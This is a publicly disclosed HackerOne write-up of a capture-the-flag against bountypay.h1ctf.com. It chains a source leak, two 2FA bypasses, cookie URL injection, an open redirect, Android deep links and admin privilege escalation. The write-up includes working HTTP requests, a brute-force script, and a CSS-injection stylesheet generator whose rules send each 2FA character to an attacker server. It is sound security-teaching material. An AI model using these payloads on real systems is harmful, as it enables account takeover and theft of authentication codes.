HexBrain

h1-ctf · Report #893395

[H1-2006 2020] CTF Writeup

Validstatus
criticalseverity
3upvotes
22 Jun 2020disclosed

How it was found

Summary:

The CTF's objective could be found in the following Twitter post:

{F858468}

As outlined on https://hackerone.com/h1-ctf, all subdomains of bountypay.h1ctf.com are in scope.

Doing subdomain enumeration revealed the following subdomains:

  • api.bountypay.h1ctf.com
  • app.bountypay.h1ctf.com
  • bountypay.h1ctf.com
  • software.bountypay.h1ctf.com
  • staff.bountypay.h1ctf.com
  • www.bountypay.h1ctf.com

It was possible to chain multiple vulnerabilities, ultimately completing the task of performing a bounty payout from Marten Mickos' account with the following steps:

  1. Leaking source code of a logger on app.bountypay.h1ctf.com via a .git folder pointing to a public GitHub repository and accessing a leftover logfile referenced in the source code that contains Brian Oliver's credentials for app.bountypay.h1ctf.com
  2. Bypassing 2FA on app.bountypay.h1ctf.com and getting full access to Brian Oliver's user account
  3. URL injection via cookie value on app.bountypay.h1ctf.com, enabling an attacker to issue arbitrary API calls on api.bountypay.h1ctf.com with Brian Oliver's privileges
  4. Misusing an open redirect on api.bountypay.h1ctf.com via cookie injection on staff.bountypay.h1ctf.com to download the BountyPay APK
  5. Completing the Android challenges and retrieving an API token for api.bountypay.h1ctf.com
  6. Use the token value in the X-Token header to access /api/staff on api.bountypay.h1ctf.com and create Sandra Allison's user account for staff.bountypay.h1ctf.com
  7. Access staff.bountypay.h1ctf.com and get admin privileges by reporting a manipulated HTML site to the admins, which triggers an "upgrade to admin" request for Sandra Allison's account when being visited
  8. Use the password for Marten Mickos displayed in the "Admin" tab of staff.bountypay.h1ctf.com on app.bountypay.h1ctf.com to login as Marten Mickos. Bypass the 2FA that protects the payout of bounties on app.bountypay.h1ctf.com by using malicious stylesheets to retrieve the 2FA code and complete the payout process to payout the bounty payments for Marten Mickos

Steps To Reproduce:

1. Source code leak on app.bountypay.h1ctf.com => user credentials

Performing directory enumeration on that subdomain revealed that the server returns status code 403 instead of 404 for every directory with the string *git (e.g. .git, cgit,...).

Requesting https://app.bountypay.h1ctf.com/.git/config returns the following result:

[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
[remote "origin"]
	url = https://github.com/bounty-pay-code/request-logger.git
	fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
	remote = origin
	merge = refs/heads/master

Trying to access that repository on github succeeds. The repository contains a single PHP file, logger.php:

<?php

$data = array(
  'IP'        =>  $_SERVER["REMOTE_ADDR"],
  'URI'       =>  $_SERVER["REQUEST_URI"],
  'METHOD'    =>  $_SERVER["REQUEST_METHOD"],
  'PARAMS'    =>  array(
      'GET'   =>  $_GET,
      'POST'  =>  $_POST
  )
);

file_put_contents('bp_web_trace.log', date("U").':'.base64_encode(json_encode($data))."\n",FILE_APPEND   );

Next, I tried to access /bp_web_trace.log, which contains the following data:

1588931909:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJHRVQiLCJQQVJBTVMiOnsiR0VUIjpbXSwiUE9TVCI6W119fQ==
1588931919:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJQT1NUIiwiUEFSQU1TIjp7IkdFVCI6W10sIlBPU1QiOnsidXNlcm5hbWUiOiJicmlhbi5vbGl2ZXIiLCJwYXNzd29yZCI6IlY3aDBpbnpYIn19fQ==
1588931928:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJQT1NUIiwiUEFSQU1TIjp7IkdFVCI6W10sIlBPU1QiOnsidXNlcm5hbWUiOiJicmlhbi5vbGl2ZXIiLCJwYXNzd29yZCI6IlY3aDBpbnpYIiwiY2hhbGxlbmdlX2Fuc3dlciI6ImJEODNKazI3ZFEifX19
1588931945:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC9zdGF0ZW1lbnRzIiwiTUVUSE9EIjoiR0VUIiwiUEFSQU1TIjp7IkdFVCI6eyJtb250aCI6IjA0IiwieWVhciI6IjIwMjAifSwiUE9TVCI6W119fQ==

The lines seem to contain a timestamp and base64 encoded data. The decoded data contains a password:

{"IP":"192.168.1.1","URI":"\/","METHOD":"GET","PARAMS":{"GET":[],"POST":[]}}
{"IP":"192.168.1.1","URI":"\/","METHOD":"POST","PARAMS":{"GET":[],"POST":{"username":"brian.oliver","password":"V7h0inzX"}}}
{"IP":"192.168.1.1","URI":"\/","METHOD":"POST","PARAMS":{"GET":[],"POST":{"username":"brian.oliver","password":"V7h0inzX","challenge_answer":"bD83Jk27dQ"}}}
{"IP":"192.168.1.1","URI":"\/statements","METHOD":"GET","PARAMS":{"GET":{"month":"04","year":"2020"},"POST":[]}}

The credentials brian.oliver:V7h0inzX are still valid: When trying to login with them, I did not get the error message Invalid username / password combination anymore, but instead I got redirected to a 2FA page.

2. Bypassing 2FA on app.bountypay.h1ctf.com => access to user account

The 2FA page shows detailed information about the structure of the 2FA password (parameter challenge_response):

{F858471}

The 2FA authentication can be easily bypassed because the challenge can be chosen by the user and equals md5sum(challenge_answer).

Therefore, I simply generated a valid pair of challenge - challenge answer as follows:

$ echo -n AAAAAAAAAA | md5sum
16c52c6e8326c071da771e66dc6e9e57  -

The following request bypasses the 2FA check for the user brian.oliver and completes the login process:

POST / HTTP/1.1
Host: app.bountypay.h1ctf.com
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 110

username=brian.oliver&password=V7h0inzX&challenge_answer=AAAAAAAAAA&challenge=16c52c6e8326c071da771e66dc6e9e57

3. URL injection via cookie value on app.bountypay.h1ctf.com => arbitrary API calls on api.bountypay.h1ctf.com

When analyzing the requests made when using app.bountypay.h1ctf.com as user brian.oliver, I noticed that the cookie value is not encrypted but only base64 encoded.

A decoded cookie looks like follows:

{"account_id":"F8gHiqSdpK","hash":"de235bffd23df6995ad4e0930baac1a2"}

Manipulating the hash value invalidates the session, but we can use arbitrary values for account_id, e.g.:

{"account_id":"xyz","hash":"de235bffd23df6995ad4e0930baac1a2"}

The account_id value is used as part of the API url that gets returned when issuing a GET request to /statements?month=[month]&year=[year]. As the URL fragment gets ignored server-side, it is possible to terminate the URL with # after the user ID. It is possible to make calls to arbitrary endpoints that cannot be accessed directly by injecting data in the account_id field, e.g. retrieving user information instead of the transactions:

GET /statements?month=01&year=2020 HTTP/1.1
Host: app.bountypay.h1ctf.com
Connection: close
Cookie: token=eyJhY2NvdW50X2lkIjoiRjhnSGlxU2RwSyMiLCJoYXNoIjoiZGUyMzViZmZkMjNkZjY5OTVhZDRlMDkzMGJhYWMxYTIifQ==

HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Sat, 06 Jun 2020 12:46:14 GMT
Content-Type: application/json
Connection: close
Content-Length: 205

{"url":"https:\/\/api.bountypay.h1ctf.com\/api\/accounts\/F8gHiqSdpK#\/statements?month=01&year=2020","data":"{\"account_id\":\"F8gHiqSdpK\",\"owner\":\"Mr Brian Oliver\",\"company\":\"BountyPay Demo \"}"}

Base64-decoded cookie value:

{"account_id":"F8gHiqSdpK#","hash":"de235bffd23df6995ad4e0930baac1a2"}

4. Open redirect on api.bountypay.h1ctf.com => APK download

When accessing https://api.bountypay.h1ctf.com directly, I discovered a redirect which only works for the following whitelisted URLs:

  • https://www.google.com/search?q=*, which redirects to google. I first tried to use one of Google's redirector endpoints in order to redirect via google to a host under my control, which could be used to perform another redirect to arbitrary targets, effectively bypassing the whitelist check, but I did not succeed because of a single character (?).
  • https://software.bountypay.h1ctf.com/ seems to be in the whitelist, but is not accessible from the externally - after being redirected I got an nginx error message:

{F858472}

All other domains aren't on the whitelist, the response contains the error message URL NOT FOUND IN WHITELIST or URL must begin with either http:// or https://.

However, visiting https://software.bountypay.h1ctf.com/ via the API seems to work with the following base64-decoded cookie value:

{"account_id":"../../redirect?url=https://software.bountypay.h1ctf.com/#","hash":"de235bffd23df6995ad4e0930baac1a2"}

The site seems to require a login, but only accepts POST requests, which I did not manage to submit via the redirect. After giving up on that, I bruteforced directories using the following script using Seclist's raft-small-directories.txt wordlist:

import base64
import json
import requests
import sys


def submit(payload):
    url = "https://app.bountypay.h1ctf.com/statements?month=02&year=2019"
    token = { "hash": "de235bffd23df6995ad4e0930baac1a2", "account_id": f"../../redirect?url=https://software.bountypay.h1ctf.com/{payload}#" }
    cookies = { "token": base64.b64encode(json.dumps(token).encode()).decode() }
    res = requests.get(url, cookies=cookies)
    return res


def brute():
    with open("/usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt") as f:
        for line in f:
            payload = line.strip()
            res = submit(payload)
            json_data = json.loads(res.text)
            data = json_data.get("data")
            url = json_data.get("url")
            if not "404 Not Found" in data:
                print(f"[+] {url}")
                print(data)


if __name__ == "__main__":
    if len(sys.argv) < 2:
        brute()
    else:
        payload = sys.argv[1]
        res = submit(payload)
        print(res.status_code, res.text)

After running the script for a short time, I got a directory listing under /uploads:

[+] https://api.bountypay.h1ctf.com/api/accounts/../../redirect?url=https://software.bountypay.h1ctf.com/uploads#/statements?month=02&year=2019
<html>
<head><title>Index of /uploads/</title></head>
<body bgcolor="white">
<h1>Index of /uploads/</h1><hr><pre><a href="../">../</a>
<a href="/uploads/BountyPay.apk">BountyPay.apk</a>                                        20-Apr-2020 11:26              4043701
</pre><hr></body>
</html>

Downloading the API was possible using wget https://software.bountypay.h1ctf.com/uploads/BountyPay.apk directly.

5. Android challenges

I decompiled the Android app with apktool and dex2jar and analyzed the source code in jadx.

For interacting with the app I used an Android Studio's AVD manager to spin up an emulator with Android 6. Luckily, the app works under Android 6, this enables loading a Burp certificate and intercept the HTTP(s) traffic generated by the app without troubles. For entering values into text fields I used adb shell input text [input] in order to be able to copy-paste values instead of typing them out.

Analyzing the app revealed 3 interesting classes, PartOneActivity, PartTwoActivity and PartThreeActivity. Thoses classes correspond to the levels that need to be solved in order to complete the challenges.

PartOneActivity

This challenge was actually pretty simple. When starting the app, this activity gets started straightaway. However, only a blank screen was displayed. When clicking on the BountyPay icon in the bottom right corner, Hint: Deep Links showed up.

Reviewing AndroidManifest.xml contains the following Intent filter for PartOneActivity:

<activity android:label="@string/title_activity_part_one" android:name="bounty.pay.PartOneActivity" android:theme="@style/AppTheme.NoActionBar">
	<intent-filter android:label="">
		<action android:name="android.intent.action.VIEW"/>
		<category android:name="android.intent.category.DEFAULT"/>
		<category android:name="android.intent.category.BROWSABLE"/>
		<data android:host="part" android:scheme="one"/>
	</intent-filter>
</activity>

PartOneActivity processes data from an intent as follows:

if (getIntent() != null && getIntent().getData() != null) {
  String str = getIntent().getData().getQueryParameter("start");
  if (str != null && str.equals("PartTwoActivity") && sharedPreferences.contains("USERNAME")) {
	str = sharedPreferences.getString("USERNAME", "");
	SharedPreferences.Editor editor = sharedPreferences.edit();
	String str1 = sharedPreferences.getString("TWITTERHANDLE", "");
	editor.putString("PARTONE", "COMPLETE").apply();
	logFlagFound(str, str1);
	startActivity(new Intent((Context)this, PartTwoActivity.class));
  } 
} 

According to the source code, the URL for starting PartOneActivity via deep link is one://part?start=PartTwoActivity.

When using that deep link by hosting an HTML file (see PartThreeActivity) on my machine and accessing it via the emulator's browser, I got redirected to PartTwoActivity as expected.

PartTwoActivity

In order to render all components from PartTwoActivity, it needs to be accessed via another deep link URL: two://part?two=light&switch=on. The correct values for the query parameters can be found out by reviewing the source code of PartTwoActivity in the same manner as for solving PartOneActivity and opening the app via link in my self-hosted HTML file (see PartThreeActivity).

After that, a value needs to be entered into the text field. The source code that decides if the input is correct and completes PartTwoActivity is:

{F858476}

One needs to enter a value that equals data the gets fetched from Firebase Realtime Database. By intercepting the app's traffic, the required value, X-Token, could be found in the websocket requests:

{F858475}

By entering Token into the text input field (X- gets appended according to the source code), one can complete PartTwoActivity.

PartThreeActivity

PartThreeActivity needs to be started via deep link like the first two activities using the following parameter values:

  • three: base64(PartThreeActivity)
  • switch: base64(on)
  • header: X-Token

In order to complete that level, it is necessary to submit a hash from the firebase database:

{F858474}

PartThreeActivity can also be solved by watching the network traffic:

{F858473}

In another websocket request, I could also see a hostname being transmitted: http://api.bountypay.h1ctf.com - this hints where the hash could be used in the next stage...

Complete HTML file that contains deep links for all levels:

<!DOCTYPE html>
<html>
<head><title>BountyPay App Exploit Page</title></head>
<body style="text-align: center;">
    <h1><a href="one://part?start=PartTwoActivity">Start PartOneActivity</a></h1>
    <h1><a href="two://part?two=light&amp;switch=on">Start PartTwoActivity</a></h1>
    <h1><a href="three://part?three=UGFydFRocmVlQWN0aXZpdHk%3d&amp;switch=b24%3d&amp;header=X-Token">Start PartThreeActivity</a></h1>
</body>
</html>

Leaked App Token => Creation of staff user account

The leaked hash, 8e9998ee3137ca9ade8f372739f062c1, can be used as X-Token header for api.bountypay.h1ctf.com and allows access to the /api/staff endpoint, which was not possible before:

Issuing a GET request to /api/staff returns the staff IDs of Brian Oliver and Sam Jenkins.

GET /api/staff HTTP/1.1
Host: api.bountypay.h1ctf.com
Connection: close
X-Token: 8e9998ee3137ca9ade8f372739f062c1


HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Wed, 03 Jun 2020 23:33:27 GMT
Content-Type: application/json
Connection: close
Content-Length: 104

[{"name":"Sam Jenkins","staff_id":"STF:84DJKEIP38"},{"name":"Brian Oliver","staff_id":"STF:KE624RQ2T9"}]

Issuing a POST request works as well. After fiddling around with content type and request parameters I found out that a POST request with Content-Type: application/json and POST parameter staff_id seems to be valid syntaxwise, but returns ["Invalid Staff ID"] for syntactically correct, but arbitrary staff IDs such as STF:1111111111 and ["Staff Member already has an account"] for existing staff IDs such as STF:84DJKEIP38.

However, my initial Twitter recon paid off, I remembered a Sandra Allison account following BountyPayHQ with the following post:

{F858477}

The staff ID from the badge seems to work (Sandra probably did not obtain an account for the API yet):

POST /api/staff HTTP/1.1
Content-Length: 25
Host: api.bountypay.h1ctf.com
X-Token: 8e9998ee3137ca9ade8f372739f062c1
Content-Type: application/x-www-form-urlencoded
Connection: close

staff_id=STF%3a8FJ3KFISL3


HTTP/1.1 201 Created
Server: nginx/1.14.0 (Ubuntu)
Date: Sat, 06 Jun 2020 15:05:34 GMT
Content-Type: application/json
Connection: close
Content-Length: 110

{"description":"Staff Member Account Created","username":"sandra.allison","password":"s%3D8qB8zEpMnc*xsz7Yp5"}

6. Privilege escalation: Staff user account => Admin access

Logging in with sandra.allison and password s%3D8qB8zEpMnc*xsz7Yp5 works at https://staff.bountypay.h1ctf.com.

The logged-in part of the website can be used by staff members for receiving messages from admins. One can see a welcome ticket in the "Support Tickets" section - replies are currently disabled. In the "Profile" section, staff members can change their profile name and choose from one of three avatars.

When trying out all possible actions and looking at requests / responses in BurpSuite, some things caught my attention:

  • The website uses templates for displaying content. The template name is submitted via the HTTP GET parameter template. I bruteforced additional values for that parameter with ffuf and found out that possible values are login (which displays the login page), home (used for most sections of the login area), ticket (used in the tickets section for displaying the welcome message) and admin (not accessible with that user - when trying to access it, the error message No Access to this resource gets returned).
  • When manipulating the request submitted when changing profile data, special characters are stripped from the data, however, it is possible to use blanks. It is possible to use invalid values for the avatar parameter, the backend does not refuse to save them. When looking for reflections of the parameters submitted, I noticed that the avatar parameter gets reflected on the ticket page as well as on the profile pages in the class attribute of an HTML div element.
  • At the bottom of the page, there is a Report This Page link. When clicking on it, a dialog with the following text is displayed:
Is there something wrong with this page? If so hit the "Report Now" button and the page will be sent over to our admins to checkout.

Pages in the /admin directory will be ignored for security
  • There is a custom JavaScript file which handles clicking on different tabs to navigate to different parts of the logged-in part of the website, submission of the "Report This Page" request which can be triggered by clicking on the "Report Now" button in the reporting dialog as well as the submission of an "Upgrade To Admin" function which seems to give users admin privileges.
$('.upgradeToAdmin').click(function () {
  let t = $('input[name="username"]').val();
  $.get('/admin/upgrade?username=' + t, function () {
    alert('User Upgraded to Admin')
  })
}),
$('.tab').click(function () {
  return $('.tab').removeClass('active'),
  $(this).addClass('active'),
  $('div.content').addClass('hidden'),
  $('div.content-' + $(this).attr('data-target')).removeClass('hidden'),
  !1
}),
$('.sendReport').click(function () {
  $.get('/admin/report?url=' + url, function () {
    alert('Report sent to admin team')
  }),
  $('#myModal').modal('hide')
}),
document.location.hash.length > 0 && ('#tab1' === document.location.hash && $('.tab1').trigger('click'), '#tab2' === document.location.hash && $('.tab2').trigger('click'), '#tab3' === document.location.hash && $('.tab3').trigger('click'), '#tab4' === document.location.hash && $('.tab4').trigger('click'));

Obviously, the goal is to somehow trigger the "Upgrade To Admin" functionality. As the current user cannot issue that request, an Admin has to be tricked into submitting that request.

XSS is not possible because all special characters are stripped from user input, therefore, the "Report This Page" functionality must be misused for that.

In order to achieve that, I needed two conditions to be met by the reported page's HTML:

  1. There must be an input element with the name attribute set to username, containing the value sandra.allison
  2. A click on an element with the class upgradeToAdmin must be triggered in the background when visiting the manipulated page without any sort of user interaction

The only input field meeting the first requirement can be found in the login template. When submitting the username parameter in the query string, it luckily is set as value in that input field.

As stated before, it is possible to additionally assign arbitrary classes to a div element in the ticket and profile view. What if we change a div element into a button by adding the button class (as well as btn btn-primary because the page uses Bootstrap, just to be sure that the div is clickable) and the upgradeToAdmin class in order to cause a click on that button to submit the "Upgrade to admin" request?

But how to create a click event without user interaction? Luckily, the custom javascript file helps us again here: When adding the URL fragments tab1, tab2 or tab3 to the URL, a click on the corresponding tab (or any element with the tabX class gets triggered in the background. Nice!

The only problem left is that we need at least two different templates to be loaded at the same time in order to put a single page together that chains all that things into a usable exploit. Luckily, that is no problem as well. I found out that it is possible to load multiple templates by submitting an array value for the template parameter. However, it took me some time to complete that part of the CTF due to a strange behaviour of the site: I first used template[0]=x&template[1]=y for specifying multiple templates, which perfectly works in the browser, but does not have any effect when triggering that via the "Report This Page" functionality. After changing the syntax to template[]=x&template[]=y, the same request worked without any changes.

Let's summarize that into an exploit: In order to upgrade privileges, the following steps must be taken:

  1. Change profile data with the following request:
POST /?template=home HTTP/1.1
Host: staff.bountypay.h1ctf.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 77
Connection: close
Cookie: token=c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjhhbzhweEtKaFFCZGhSVHBnMVNDWHlsVkRKclJqcnIwSmVNbFRkbnIvU3MzMndYSW5XNmNFS1l5T1FDdTVNZFJPMS9TTWtDWEFkODBtRGRlbXpERlZ5WVlUdVZ6eDA0VnkxaWxRbU9CUVA2dFVoOTdwQVljb0NpbSt2d0RkYVF1N1BHUmFSbjZkNHpH
Upgrade-Insecure-Requests: 1

profile_name=sandra&profile_avatar=tab3+upgradeToAdmin+btn+btn-primary+button
  1. Submit the following URL via the "Report This Page" functionality: /?template[]=login&template[]=ticket&ticket_id=3582&username=sandra.allison#tab3

The corresponding request contains that URL in URL-encoded base64 and looks as follows:

GET /admin/report?url=Lz90ZW1wbGF0ZVtdPWxvZ2luJnRlbXBsYXRlW109dGlja2V0JnRpY2tldF9pZD0zNTgyJnVzZXJuYW1lPXNhbmRyYS5hbGxpc29uI3RhYjM%3d HTTP/1.1
Host: staff.bountypay.h1ctf.com
Connection: close
Cookie: token=c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjhhbzhweEtKaFFCZGhSVHBnMVNDWHlsVkRKclJqcnIwR1B3NVRQRFYrV01aenlqQ2pWU0lGNUlpYkRlOXlZWk1BR0hvSVg2SUJZVlAya2RZa1IvaFJqQTZldmswcmk0WXptV1VFMmZYRUtMU0lteDNtSFlWNVhuNGdmTnJLSUJsNmZ2MVpBK3diZDNTYWZPVlF3QVQwTnI4eFBseFp1V3ZvcWxzVEdjMUpKWUVxRlZVRmU0YWV0Z2N2bGRRemlKUno0UnFrdEE9

Et voila, the response contains another cookie:

HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Sun, 07 Jun 2020 17:42:21 GMT
Content-Type: application/json
Connection: close
Set-Cookie: token=c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjhhbzhweEtKaFFCZGhSVHBnMVNDWHlsVkRKclJqcnIwR1B3NVRQRFYrV01aenlqQ2pWU0lGNUlpYkRlOXlZWk1BR0hvSVg2SUJZVlAya2RZa1IvaFJqQTZldmswcmk0WXptV1VFMmZYRUtMU0lteDNtSFlWNVhuNGdmTlZEWXduMEpHVFlBK3diZDNTYWZPVlF3QVQwTnI4eEtseFpMR2dvdjVnVERjd2Raa0QrRkVNU084WEtkNGY3d1JYbFNkU3k0bzRrdEE9; expires=Tue, 07-Jul-2020 17:42:21 GMT; Max-Age=2592000; path=/
Content-Length: 19

["Report received"]

After reloading the page using that cookie, an additional tab got added to the page, containing an admin section with passwords for brian.oliver and marten.mickos!

{F858479}

7. 2FA bypass => bounty payout

Considering Brian Oliver's password we retrieved from the staff's Admin page, it looks like the credentials are valid for https://api.bountypay.h1ctf.com. As the objective is to help Marten Mickos pay out bounties, it looks like we're very close to the flag. However, there is one additional bypass needed to complete the task...

Logging in with username marten.mickos and password h&H5wy2Lggj*kKn4OD&Ype succeeds at https://api.bountypay.h1ctf.com (when using the MD5 2FA bypass we used for Brian Oliver) as expected. When loading the transactions for May 2020, an open payment is displayed:

{F858480}

However, it's not as simple as clicking on the Pay button. There is another 2FA challenge that needs to be completed:

{F858481}

The 2FA cannot be bypassed with the MD5 method from before, that would have been too easy.

When looking at the 2FA flow, I noticed a strange request:

POST /pay/17538771/27cd1393c170e1e97f9507a5351ea1ba HTTP/1.1
Host: app.bountypay.h1ctf.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://app.bountypay.h1ctf.com/pay/17538771/27cd1393c170e1e97f9507a5351ea1ba
Content-Type: application/x-www-form-urlencoded
Content-Length: 73
Connection: close
Cookie: token=eyJhY2NvdW50X2lkIjoiQWU4aUpMa245eiIsImhhc2giOiIzNjE2ZDZiMmMxNWU1MGMwMjQ4YjIyNzZiNDg0ZGRiMiJ9
Upgrade-Insecure-Requests: 1

app_style=https%3A%2F%2Fwww.bountypay.h1ctf.com%2Fcss%2Funi_2fa_style.css

The app_style parameter contains a full URL. I assumed that I might be able to point it to a server under my control and extract information via CSS injection.

Indeed, when pointing it at my server, I noticed requests from a headless chrome. The fact that the request did not seem to come from an application processing stuff but from a browser immediately pointed me towards CSS injection. Indeed - it was possible to make callbacks when a HTML element satisfies certain conditions by forcing the browser to load my own stylesheet that sets the background:url to another URL that points to the attacker server on elements using CSS regexes, e.g.:

input[name^="code"]{ background:url("https://[attackerserver]:9999/log"); }

Great! Luckily, searching for an input element starting with a name attribute with a value starting with code was my first (more or less educated) guess, but it took me some time to figure out the purpose of it. First I thought that it is just a single input field and wasted some time wondering why I did not get any results when querying for the content of the value attribute. After correctly guessing the next character, which was an underscore, it came to my mind that there could maybe be multiple code_* input fields and indeed: there is code_1 to code_7, which fits to the HTML input field for the challenge answer having a max length of 7. Therefore, I suspected that each input field contains one character of the 2FA code, which indeed was the case.

After knowing the input fields to target, I wrote a small bash script that generates an evil CSS stylesheet for revealing the values of those fields when the victim browser loads it instead of the real CSS:

#!/bin/bash

for i in {1..7}; do
        for v in {0..9}; do echo "input[name="code_$i"][value="$v"]{ background:url(\"https://[attackerserver]:9999/log_$i/$v\"); }"; done
        for v in {A..Z}; do echo "input[name="code_$i"][value="$v"]{ background:url(\"https://[attackerserver]:9999/log_$i/$v\"); }"; done
        for v in {a..z}; do echo "input[name="code_$i"][value="$v"]{ background:url(\"https://[attackerserver]:9999/log_$i/$v\"); }"; done
done

As the browser only seems to load CSS from an SSL website, I wrote a small script for my evil HTTPS Server in Python and placed it on my VPS:

$ cat httpserver.py 
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
import logging

evil_css = open("evil.css", "rb").read()

class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):

    def do_GET(self):
        if self.path == "/css":
            # logging.error(self.headers)
            self.send_response(200)
            self.send_header("Access-Control-Allow-Origin", "*")
            self.send_header("Content-Type", "text/css")
            self.end_headers()
            self.wfile.write(evil_css)
        else:
            # logging.error(self.headers)
            self.send_response(200)
            self.send_header("Access-Control-Allow-Origin", "*")
            self.end_headers()


httpd = HTTPServer(('0.0.0.0', 9999), SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket, 
        keyfile="[redacted]", 
        certfile="[redacted]", server_side=True)
httpd.serve_forever()

After running the Python script and pointing the URL in the request to https://[attackerserver]:9999/css, the log output of the script looked as follows:

$ python3 httpserver.py 
3.21.98.146 - - [05/Jun/2020 21:05:12] "GET /css HTTP/1.1" 200 -
3.21.98.146 - - [05/Jun/2020 21:05:12] "GET /log_7/S HTTP/1.1" 200 -
3.21.98.146 - - [05/Jun/2020 21:05:12] "GET /log_1/t HTTP/1.1" 200 -
3.21.98.146 - - [05/Jun/2020 21:05:12] "GET /log_2/K HTTP/1.1" 200 -
3.21.98.146 - - [05/Jun/2020 21:05:13] "GET /log_3/s HTTP/1.1" 200 -
3.21.98.146 - - [05/Jun/2020 21:05:13] "GET /log_4/P HTTP/1.1" 200 -
3.21.98.146 - - [05/Jun/2020 21:05:13] "GET /log_5/v HTTP/1.1" 200 -
3.21.98.146 - - [05/Jun/2020 21:05:13] "GET /log_6/g HTTP/1.1" 200 -

Entering tKsPvgS as token succeeded - finally, all bounties were paid and the flag got displayed:

{F858483}

Impact

.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original